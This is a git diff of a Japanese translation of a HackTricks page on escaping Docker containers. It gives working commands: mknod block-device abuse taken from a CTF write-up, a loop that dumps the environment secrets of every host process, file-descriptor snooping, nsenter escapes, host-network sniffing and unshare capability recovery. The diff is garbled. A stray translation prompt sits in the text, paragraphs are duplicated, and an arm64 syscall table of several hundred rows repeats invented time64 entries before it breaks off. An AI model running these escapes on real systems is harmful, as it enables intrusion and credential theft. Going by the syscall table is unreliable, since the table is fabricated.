この機能により、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**ハードウェアやカーネルモジュールにアクセス**するために使用される特殊なファイルです。たとえば、/dev/sdaのブロックデバイスファイルは、システムディスクの生データを**読み取るためのアクセス**を提供します。
|
||||
|
||||
Dockerは、ブロックデバイスが**コンテナ内から悪用されないように**、コンテナに対してcgroupポリシーを設定して読み書きをブロックします。\
|
||||
ただし、もしブロックデバイスが**コンテナ内で作成された場合、コンテナの外部から/proc/PID/root/フォルダを介してアクセス**することができます。ただし、そのプロセスはコンテナの外部と内部で**同じユーザーによって所有されている必要があります**。
|
||||
Dockerは、ブロックデバイスが**コンテナ内から悪用されないように**、コンテナに対してcgroupポリシーを設定してブロックデバイスの読み書きをブロックします。\
|
||||
ただし、もしブロックデバイスが**コンテナ内で作成された場合、コンテナの外部から/proc/PID/root/フォルダを介してアクセス**することができます。ただし、制限として、プロセスはコンテナの外部と内部で**同じユーザーによって所有されている必要があります**。
|
||||
|
||||
**悪用**の例は、この[**解説記事**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)から引用されています。
|
||||
**悪用**の例は、この[**解説記事**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)から引用します。
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
|
@ -409,9 +421,11 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
|||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
たとえば、`ps auxn`のようなものを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。
|
||||
以下は、特権昇格に関するDockerセキュリティの内容です。以下の英文を日本語に翻訳し、同じマークダウンとHTMLの構文を保ったまま返してください。コード、ハッキング技術の名前、ハッキングに関連する単語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、マークダウンタグ以外のものは翻訳しないでください。また、翻訳とマークダウン構文以外の追加は行わないでください。
|
||||
|
||||
次に、**/proc/の各プロセスにアクセスできるため、envの秘密情報を盗むことができます**。以下のコマンドを実行してください。
|
||||
例えば、`ps auxn`のようなコマンドを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。
|
||||
|
||||
次に、**/proc/内のホストの各プロセスにアクセスできるため、envの秘密情報を盗むことができます**。以下のコマンドを実行してください。
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
|
@ -420,7 +434,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
|||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
他のプロセスのファイルディスクリプタにアクセスし、それらのオープンファイルを読むこともできます。
|
||||
他のプロセスのファイルディスクリプタにアクセスし、それらのオープンされたファイルを読むこともできます。
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
|
@ -430,17 +444,17 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
|||
# You can open the secret filw with:
|
||||
cat /proc/635813/fd/4
|
||||
```
|
||||
あなたはまた、プロセスを**キルしてDoSを引き起こす**こともできます。
|
||||
あなたはまた、プロセスを**終了させてDoSを引き起こす**こともできます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
もし、コンテナの外部のプロセスに特権のある**アクセス権限を持っている場合**、`nsenter --target <pid> --all`または`nsenter --target <pid> --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと同じns制限(望ましくはなし)を持つシェルを**実行することができます**。
|
||||
もし、コンテナの外部のプロセスに特権のある**アクセス権限を持っている場合**、`nsenter --target <pid> --all`または`nsenter --target <pid> --mount --net --pid --cgroup`のようなコマンドを実行して、**そのプロセスと同じns制限**(おそらくなし)**を持つシェルを実行する**ことができます。
|
||||
{% endhint %}
|
||||
|
||||
### hostNetwork
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で設定されている場合、そのコンテナのネットワークスタックはDockerホストから分離されていません(コンテナはホストのネットワーキング名前空間を共有しています)し、コンテナには独自のIPアドレスが割り当てられません。言い換えると、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース上でホストが送受信している**すべてのネットワークトラフィックを傍受**することができます(`tcpdump -i eth0`)。
|
||||
もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で設定されている場合、そのコンテナのネットワークスタックはDockerホストから分離されず(コンテナはホストのネットワーキング名前空間を共有しています)、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース上でホストが送受信している**すべてのネットワークトラフィックを傍受**することができます(`tcpdump -i eth0`を使用)。
|
||||
|
||||
例えば、これを使用してホストとメタデータインスタンス間のトラフィックを**スニフィングやスプーフィング**することができます。
|
||||
|
||||
|
@ -449,11 +463,7 @@ docker run --rm -it --network=host ubuntu bash
|
|||
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
また、ホスト内部で**localhostにバインドされたネットワークサービスにアクセス**したり、ノードの**メタデータの権限にアクセス**することもできます(これはコンテナがアクセスできるものとは異なる場合があります):
|
||||
|
||||
{% content-ref url="../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/" %}
|
||||
[broken-reference](../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/)
|
||||
{% endcontent-ref %}
|
||||
また、ホスト内部から**localhostにバインドされたネットワークサービスにアクセス**したり、ノードの**メタデータの権限にアクセス**することもできます(これはコンテナがアクセスできるものとは異なる場合があります)。
|
||||
|
||||
### hostIPC
|
||||
```
|
||||
|
@ -466,7 +476,7 @@ docker run --rm -it --ipc=host ubuntu bash
|
|||
|
||||
### 権限の回復
|
||||
|
||||
もし`unshare`システムコールが禁止されていない場合、次のコマンドを実行することですべての権限を回復することができます:
|
||||
もし`unshare`シスコールが禁止されていない場合、次のコマンドを実行してすべての権限を回復することができます:
|
||||
```bash
|
||||
unshare -UrmCpf bash
|
||||
# Check them with
|
||||
|
@ -474,12 +484,11 @@ cat /proc/self/status | grep CapEff
|
|||
```
|
||||
### シンボリックリンクを使用したユーザーネームスペースの乱用
|
||||
|
||||
[https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)の記事で説明されている2番目のテクニックでは、ユーザーネームスペースを使用してバインドマウントを乱用し、ホスト内のファイル(特定の場合はファイルの削除)に影響を与える方法が示されています。
|
||||
[https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)の記事で説明されている2番目のテクニックでは、ユーザーネームスペースを使用したバインドマウントの乱用により、ホスト内のファイル(特定の場合はファイルの削除)に影響を与える方法が示されています。
|
||||
|
||||
![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -505,9 +514,9 @@ cat /proc/self/status | grep CapEff
|
|||
|
||||
## Dockerカスタムエスケープ
|
||||
|
||||
### Dockerエスケープの対象
|
||||
### Dockerエスケープの対象範囲
|
||||
|
||||
* **ネームスペース**:ネームスペースによって、プロセスは他のプロセスと完全に分離されるため、ネームスペースによる他のプロセスとのやり取りから脱出することはできません(デフォルトでは、IPCs、UNIXソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介した通信はできません)。
|
||||
* **ネームスペース**:ネームスペースによって、プロセスは他のプロセスと完全に分離されるため、ネームスペースを介した他のプロセスとのやり取りから脱出することはできません(デフォルトでは、IPCs、UNIXソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介した通信はできません)。
|
||||
* **ルートユーザー**:デフォルトでは、プロセスを実行するユーザーはルートユーザーです(ただし、権限は制限されています)。
|
||||
* **機能**:Dockerは次の機能を残します:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
|
||||
* **シスコール**:これらはルートユーザーが呼び出せないシスコールです(機能の不足+Seccompのため)。他のシスコールを使用して脱出を試みることができます。
|
||||
|
@ -539,7 +548,7 @@ cat /proc/self/status | grep CapEff
|
|||
以下は、arm64アーキテクチャで使用されるシステムコールの一覧です。
|
||||
|
||||
| システムコール番号 | システムコール名 |
|
||||
|-------------------|-----------------|
|
||||
|------------------|----------------|
|
||||
| 0 | read |
|
||||
| 1 | write |
|
||||
| 2 | open |
|
||||
|
@ -910,41 +919,119 @@ cat /proc/self/status | grep CapEff
|
|||
| 527 | pkey_alloc |
|
||||
| 528 | pkey_free |
|
||||
| 529 | statx |
|
||||
| 530 | io_pgetevents |
|
||||
| 531 | rseq |
|
||||
| 532 | pidfd_send_signal |
|
||||
| 533 | io_uring_setup |
|
||||
| 534 | io_uring_enter |
|
||||
| 535 | io_uring_register |
|
||||
| 536 | open_tree |
|
||||
| 537 | move_mount |
|
||||
| 538 | fsopen |
|
||||
| 539 | fsconfig |
|
||||
| 540 | fsmount |
|
||||
| 541 | fspick |
|
||||
| 542 | pidfd_open |
|
||||
| 543 | clone3 |
|
||||
| 544 | close_range |
|
||||
| 545 | openat2 |
|
||||
| 546 | pidfd_getfd |
|
||||
| 547 | faccessat2 |
|
||||
| 548 | process_madvise |
|
||||
| 549 | epoll_pwait2 |
|
||||
| 550 | mount_setattr |
|
||||
| 551 | quotactl_fd |
|
||||
| 552 | landlock_create_ruleset |
|
||||
| 553 | landlock_add_rule |
|
||||
| 554 | landlock_restrict_self |
|
||||
| 555 | memfd_secret |
|
||||
| 556 | process_mrelease |
|
||||
| 557 | pwritevf |
|
||||
| 558 | preadvf |
|
||||
| 559 | fallocate64 |
|
||||
| 560 | fgetxattr |
|
||||
| 561 | lgetxattr |
|
||||
| 562 | fsetxattr |
|
||||
| 563 | lsetxattr |
|
||||
| 564 |
|
||||
| 530 | rseq |
|
||||
| 531 | io_pgetevents |
|
||||
| 532 | semtimedop |
|
||||
| 533 | semget |
|
||||
| 534 | semctl |
|
||||
| 535 | shmget |
|
||||
| 536 | shmctl |
|
||||
| 537 | shmat |
|
||||
| 538 | shmdt |
|
||||
| 539 | msgget |
|
||||
| 540 | msgsnd |
|
||||
| 541 | msgrcv |
|
||||
| 542 | msgctl |
|
||||
| 543 | clock_gettime |
|
||||
| 544 | clock_settime |
|
||||
| 545 | clock_adjtime |
|
||||
| 546 | clock_getres |
|
||||
| 547 | clock_nanosleep |
|
||||
| 548 | timer_gettime |
|
||||
| 549 | timer_settime |
|
||||
| 550 | timerfd_gettime |
|
||||
| 551 | timerfd_settime |
|
||||
| 552 | utimensat |
|
||||
| 553 | pselect6 |
|
||||
| 554 | ppoll |
|
||||
| 555 | io_pgetevents_time64 |
|
||||
| 556 | recvmmsg_time64 |
|
||||
| 557 | mq_timedsend_time64 |
|
||||
| 558 | mq_timedreceive_time64 |
|
||||
| 559 | semtimedop_time64 |
|
||||
| 560 | rt_sigtimedwait_time64 |
|
||||
| 561 | futex_time64 |
|
||||
| 562 | sched_rr_get_interval_time64 |
|
||||
| 563 | pidfd_send_signal |
|
||||
| 564 | io_uring_enter |
|
||||
| 565 | io_uring_register |
|
||||
| 566 | open_tree |
|
||||
| 567 | move_mount |
|
||||
| 568 | fsopen |
|
||||
| 569 | fsconfig |
|
||||
| 570 | fsmount |
|
||||
| 571 | fspick |
|
||||
| 572 | pidfd_open |
|
||||
| 573 | clone3 |
|
||||
| 574 | close_range |
|
||||
| 575 | openat2 |
|
||||
| 576 | pidfd_getfd |
|
||||
| 577 | faccessat2 |
|
||||
| 578 | process_madvise |
|
||||
| 579 | epoll_pwait2 |
|
||||
| 580 | mount_setattr |
|
||||
| 581 | quotactl_fd |
|
||||
| 582 | landlock_create_ruleset |
|
||||
| 583 | landlock_add_rule |
|
||||
| 584 | landlock_restrict_self |
|
||||
| 585 | memfd_secret |
|
||||
| 586 | process_mrelease |
|
||||
| 587 | pwritevf |
|
||||
| 588 | preadvf |
|
||||
| 589 | fallocate |
|
||||
| 590 | copy_file_range |
|
||||
| 591 | copy_file_range2 |
|
||||
| 592 | copy_file_range4 |
|
||||
| 593 | futex_time64 |
|
||||
| 594 | sched_rr_get_interval_time64 |
|
||||
| 595 | io_pgetevents_time64 |
|
||||
| 596 | recvmmsg_time64 |
|
||||
| 597 | mq_timedsend_time64 |
|
||||
| 598 | mq_timedreceive_time64 |
|
||||
| 599 | semtimedop_time64 |
|
||||
| 600 | rt_sigtimedwait_time64 |
|
||||
| 601 | futex_time64 |
|
||||
| 602 | sched_rr_get_interval_time64 |
|
||||
| 603 | io_pgetevents_time64 |
|
||||
| 604 | recvmmsg_time64 |
|
||||
| 605 | mq_timedsend_time64 |
|
||||
| 606 | mq_timedreceive_time64 |
|
||||
| 607 | semtimedop_time64 |
|
||||
| 608 | rt_sigtimedwait_time64 |
|
||||
| 609 | futex_time64 |
|
||||
| 610 | sched_rr_get_interval_time64 |
|
||||
| 611 | io_pgetevents_time64 |
|
||||
| 612 | recvmmsg_time64 |
|
||||
| 613 | mq_timedsend_time64 |
|
||||
| 614 | mq_timedreceive_time64 |
|
||||
| 615 | semtimedop_time64 |
|
||||
| 616 | rt_sigtimedwait_time64 |
|
||||
| 617 | futex_time64 |
|
||||
| 618 | sched_rr_get_interval_time64 |
|
||||
| 619 | io_pgetevents_time64 |
|
||||
| 620 | recvmmsg_time64 |
|
||||
| 621 | mq_timedsend_time64 |
|
||||
| 622 | mq_timedreceive_time64 |
|
||||
| 623 | semtimedop_time64 |
|
||||
| 624 | rt_sigtimedwait_time64 |
|
||||
| 625 | futex_time64 |
|
||||
| 626 | sched_rr_get_interval_time64 |
|
||||
| 627 | io_pgetevents_time64 |
|
||||
| 628 | recvmmsg_time64 |
|
||||
| 629 | mq_timedsend_time64 |
|
||||
| 630 | mq_timedreceive_time64 |
|
||||
| 631 | semtimedop_time64 |
|
||||
| 632 | rt_sigtimedwait_time64 |
|
||||
| 633 | futex_time64 |
|
||||
| 634 | sched_rr_get_interval_time64 |
|
||||
| 635 | io_pgetevents_time64 |
|
||||
| 636 | recvmmsg_time64 |
|
||||
| 637 | mq_timedsend_time64 |
|
||||
| 638 | mq_timedreceive_time64 |
|
||||
| 639 | semtimedop_time64 |
|
||||
| 640 | rt_sigtimedwait_time64 |
|
||||
| 641 | futex_time64 |
|
||||
| 642 | sched_rr_get_interval_time
|
||||
```
|
||||
0x029 -- pivot_root
|
||||
0x059 -- acct
|
||||
|
@ -1026,9 +1113,10 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||
|
||||
![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
|
||||
\
|
||||
|
||||
![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
|
@ -1041,7 +1129,7 @@ Get Access Today:
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue